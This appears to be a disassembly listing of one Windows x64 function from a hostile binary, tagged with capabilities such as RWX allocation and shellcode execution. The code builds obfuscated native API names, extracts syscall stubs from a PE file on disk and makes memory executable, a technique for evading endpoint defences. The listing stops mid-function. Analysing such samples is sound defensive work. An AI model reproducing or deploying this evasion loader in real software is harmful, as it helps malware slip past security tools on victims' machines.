Function at 0x403809
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x2e20
call fcn.004147c0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.004138c0
mov dword [rbp + 0xbc], 0
mov qword [rbp + 0xb0], 0
mov rax, qword [0x00525820]
mov qword [rbp + 0xa0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2d88], eax
mov eax, dword [rbp + 0x2d88]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2d80], rax
mov rax, qword [rbp + 0x2d80]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2d78], rax
mov rax, qword [rbp + 0x2d78]
add rax, 0x17
mov qword [rbp + 0x2d70], rax
mov rax, qword [rbp + 0x2d70]
add rax, 0x17
mov qword [rbp + 0x2d68], rax
mov rax, qword [rbp + 0x2d68]
add rax, 0x17
mov qword [rbp + 0x2d60], rax
mov rax, qword [rbp + 0x2d60]
add rax, 0x17
mov qword [rbp + 0x2d58], rax
mov rax, qword [rbp + 0x2d58]
add rax, 0x17
mov qword [rbp + 0x2d50], rax
mov rax, qword [rbp + 0x2d50]
add rax, 0x17
mov qword [rbp + 0x2d48], rax
mov rax, qword [rbp + 0x2d48]
add rax, 0x17
mov qword [rbp + 0x2d40], rax
mov rax, qword [rbp + 0x2d40]
add rax, 0x17
mov qword [rbp + 0x2d38], rax
mov rax, qword [rbp + 0x2d38]
add rax, 0x17
mov qword [rbp + 0x2d30], rax
mov rax, qword [rbp + 0x2d30]
add rax, 0x17
mov qword [rbp + 0x2d28], rax
mov rax, qword [rbp + 0x2d28]
add rax, 0x17
mov qword [rbp + 0x2d20], rax
mov rax, qword [rbp + 0x2d20]
add rax, 0x17
mov qword [rbp + 0x2d18], rax
mov rax, qword [rbp + 0x2d18]
add rax, 0x17
mov qword [rbp + 0x2d10], rax
mov rax, qword [rbp + 0x2d10]
add rax, 0x17
mov qword [rbp + 0x2d08], rax
mov rax, qword [rbp + 0x2d08]
add rax, 0x17
mov qword [rbp + 0x2d00], rax
mov rax, qword [rbp + 0x2d00]
add rax, 0x17
mov qword [rbp + 0x2cf8], rax
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0x90], 0
mov word [rbp + 0x94], 0
mov byte [rbp + 0x96], 0
mov dword [rbp + 0x7c], 0
mov qword [rbp + 0x2cf0], 0
mov dword [rbp + 0x2cec], 0
mov dword [rbp + 0x78], 0
mov qword [rbp + 0x2ce0], 0
mov rax, qword [rbp + 0x2d78]
mov qword [0x00555048], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d78]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d70]
mov qword [0x00555050], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d70]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d68]
mov qword [0x00555058], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d60]
mov qword [0x00555060], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d60]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d58]
mov qword [0x00555068], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d50]
mov qword [0x00555070], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d48]
mov qword [0x00555078], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d40]
mov qword [0x00555080], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d38]
mov qword [0x00555088], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d30]
mov qword [0x00555090], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d28]
mov qword [0x00555098], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d20]
mov qword [0x005550a0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d18]
mov qword [0x005550a8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d10]
mov qword [0x005550b0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d08]
mov qword [0x005550b8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d00]
mov qword [0x005550c0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cf8]
mov qword [0x005550c8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2cf8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x005293d1]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2cf0], rax
mov rax, qword [rbp + 0x2cf0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2cec], eax
mov esi, dword [rbp + 0x2cec]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2ce0], rax
lea r8, [rbp + 0x78]
mov ecx, dword [rbp + 0x2cec]
mov rdx, qword [rbp + 0x2ce0]
mov rax, qword [rbp + 0x2cf0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2ce0]
mov qword [rbp + 0x2cd8], rax
mov rax, qword [rbp + 0x2cd8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2ce0]
add rax, rdx
mov qword [rbp + 0x2cd0], rax
mov rax, qword [rbp + 0x2cd0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2ccc], eax
mov rax, qword [rbp + 0x2cd0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2cd0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2d98], rax
mov rax, qword [rbp + 0x2d98]
mov qword [rbp + 0x2cc0], rax
mov rax, qword [rbp + 0x2d98]
mov qword [rbp + 0x2d90], rax
mov dword [rbp + 0x2d8c], 0
mov rax, qword [rbp + 0x2cd0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2d8c], eax
jge 0x403f24
mov rax, qword [rbp + 0x2d98]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x403f13
mov rax, qword [rbp + 0x2d98]
mov qword [rbp + 0x2d90], rax
jmp 0x403f24
add qword [rbp + 0x2d98], 0x28
add dword [rbp + 0x2d8c], 1
jmp 0x403ed3
mov edx, dword [rbp + 0x2ccc]
mov rax, qword [rbp + 0x2ce0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2d90]
mov rdx, rax
call fcn.004015a0
mov qword [rbp + 0x2cb8], rax
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x38f]
lea rax, [rbp + 0x360]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x360]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
lea r8, [0x005293fa]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x00529406]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x0052940e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0xc0]
lea r8, [0x00529412]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x390]
mov rcx, qword [rbp + 0x2d78]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x4043c4
lea rsi, [0x00529414]
jmp 0x4043cb
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x63f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x63f]
lea rax, [rbp + 0x610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x00529406]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x0052940e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x00529412]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x63f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x640]
mov rcx, qword [rbp + 0x2d70]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x404803
lea rsi, [0x00529414]
jmp 0x40480a
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x92f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x92f]
lea rax, [rbp + 0x900]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x8e0]
lea rdx, [rbp + 0x900]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x00529434]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x00529406]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x0052940e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x00529412]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x660]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x900]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x92f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x930]
mov rcx, qword [rbp + 0x2d68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x404c9a
lea rsi, [0x00529414]
jmp 0x404ca1
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0xb5f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0xb5f]
lea rax, [rbp + 0xb30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x00529436]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x00529438]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x0052943a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x0052943e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x00529440]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x50]
